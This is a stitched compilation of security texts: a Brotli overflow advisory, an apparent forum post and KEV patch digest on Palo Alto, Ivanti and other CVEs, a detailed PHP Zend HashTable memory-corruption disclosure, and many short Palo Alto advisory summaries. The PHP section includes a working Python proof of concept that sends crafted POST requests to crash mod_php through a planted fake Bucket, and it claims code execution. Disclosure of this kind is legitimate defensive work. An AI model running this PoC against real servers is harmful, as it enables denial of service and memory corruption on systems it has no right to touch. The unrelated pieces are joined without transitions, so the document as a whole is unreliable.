A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

Palo Alto patched CVE-2026-0257 (CVSS 7.8) back in May. The bug allows attackers to bypass GlobalProtect authentication and establish VPN sessions without MFA.

Apparently, ransomware groups including Qilin and INC have been making good use of it since June - unit 42 threat brief.

One case is particularly interesting. Attackers went from the VPN to VMware vCenter, disabled ESXi security controls, and dumped domain controller credentials directly from its virtual disk (VMDK). No need to touch the running Windows guest, so the EDR inside it couldn't see the credential dumping.

It's October. The patch has been available for five months. Apparently that's still not enough.

I’ve been through CISA's Known Exploited list for Oct 8-16 and pulled out what matters for small-office and SMB environments.

Patch now: \- Ivanti Connect Secure CVE-2026-104935: auth bypass to RCE. If it's on your edge, patch and assume compromise until you've worked through CISA's guidance. \- Windows Shell CVE-2026-96951: Mark of the Web bypass, fixed in this month's Patch Tuesday. Push it to anything that opens email attachments. \- PAN-OS CVE-2026-0322: urgent if the management interface is reachable from anywhere it shouldn't be. \- Cisco Secure Email Gateway CVE-2026-76519: AMP path. Check your version against Cisco's advisory.

Batch: \- FortiOS CVE-2025-61624: path traversal, but needs admin access first. Roll it into your next window. \- ProFTPD mod\copy CVE-2015-3306: ancient but still being exploited. If FTP is still on anywhere, switch to SFTP.

No KEV hits this week for Proxmox, TrueNAS, UniFi, pfSense, Synology, or QNAP.

Disclosure: I put together a weekly digest of this. Not dropping a link, but happy to answer questions about any of these here.

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store or execute a JavaScript payload using the web interface.

The security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS® software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not affected by these vulnerabilities.

A stack-based buffer overflow vulnerability in the log processing functionality of Palo Alto Networks PAN-OS® software on Panorama enables an attacker to cause a denial of service (DoS) condition. Repeated attempts to trigger this condition result in the Panorama entering maintenance mode.

Cloud NGFW, Prisma® Access, and standalone PAN-OS firewalls are not affected by this vulnerability.

A type confusion vulnerability in Palo Alto Networks GlobalProtect™ app on Windows enables a local user with low privileges to cause a denial of service (DoS) condition.

The GlobalProtect™ app on Linux, macOS, iOS, Android, and Chrome OS is not affected by this vulnerability.

A server-side request forgery vulnerability in Palo Alto Networks Checkov by Prisma® Cloud enables a local unauthenticated user to make unauthorized network requests from host to internal services.

A command injection vulnerability in Palo Alto Networks Cortex XSOAR and Cortex XSIAM OS Query content pack enables an authenticated administrator to execute arbitrary OS commands on remote endpoints.

Path traversal vulnerabilities in Palo Alto Networks Checkov by Prisma® Cloud enable an unauthenticated local user to write files to arbitrary locations on the scanning filesystem.

Denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic to or through a dataplane interface. Repeated attempts to trigger this condition result in the firewall entering maintenance mode.

Cloud NGFW and Panorama are not affected by this vulnerability.

A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS management interface.

The security risk posed by this issue is significantly minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

Palo Alto Networks incorporated the following Chromium security fixes into our products:

https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop28.html

A local privilege escalation vulnerability in the Palo Alto Networks GlobalProtect™ app enables a local user to escalate their privileges to root on macOS. This enables a non-administrative user to execute arbitrary commands with administrative privileges.

The GlobalProtect app on Linux, Windows, iOS, Android and Chrome OS is not affected by this vulnerability.

An improper input handling vulnerability in the GlobalProtect™ gateway of Palo Alto Networks PAN-OS software enables an authenticated user to establish a GlobalProtect session using the identity of another user.

Cloud NGFW and Panorama are not affected by this vulnerability.

A denial of service vulnerability in Palo Alto Networks PAN-OS software enables an authenticated user with a read-only administrator role to cause a denial of service (DoS) condition by sending a specially crafted API request.

The security risk posed by this issue is significantly minimized by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

Cloud NGFW, Panorama, and Prisma® Access are not affected by this vulnerability.

A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.

The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not impacted by this vulnerability.

https://www.tenable.com/plugins/nessus/344359

CVE-2026-0310

A privilege escalation vulnerability in Palo Alto Networks Cortex XDR Broker VM enables an authenticated low privileged user with man-in-the-middle (MitM) access to execute code with root privileges on the Broker VM.

A buffer overflow vulnerability in the XML processing functionality of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to the management web or dataplane interface to cause a denial of service (DoS) condition on VM-Series firewalls or execute arbitrary code with root privileges on the PA-Series firewalls.

Panorama is impacted by this vulnerability.

A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI and the device must be configured with a Luna Hardware Security Module (HSM).

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.

Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.

A vulnerability in the EndPoint Data Loss Prevention (DLP) enforcement of Palo Alto Networks Prisma® Access Agent enables a local user to bypass configured DLP policy enforcement controls and exfiltrate sensitive data.

This Prisma Access Agent on macOS, Linux, iOS, Android and Chrome OS is not affected.

Palo Alto Networks incorporated the following Chromium security fixes into our products:

https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop28.html

An OS command injection vulnerability in Palo Alto Networks Checkov by Prisma® Cloud enables a local user to execute arbitrary commands in the processes running Checkov.

An information disclosure vulnerability in the Palo Alto Networks Prisma® Access Agent on Linux enables a local user to access sensitive configuration data and credentials.

The Prisma Access Agent on macOS, Windows, iOS, Android and Chrome OS is not affected.

A code execution vulnerability in Palo Alto Networks Checkov by Prisma® Cloud can allow arbitrary code execution when Checkov scans a directory that contains an attacker-controlled configuration file.

Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allows a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges.

This GlobalProtect app on iOS, Android and ChromeOS is not impacted.

A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store or execute a JavaScript payload using the web interface.

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

A security bypass vulnerability in the Account Protection feature of Palo Alto Networks Prisma® Browser enables a user to bypass intended security controls.

An authentication bypass vulnerability in the network driver of Palo Alto Networks Prisma® Access Agent on Windows enables a local administrator to bypass security inspection, subsequently allowing them to inject and intercept arbitrary network traffic.

The Prisma Access Agent on Linux, macOS, iOS, Android, and Chrome OS is not affected.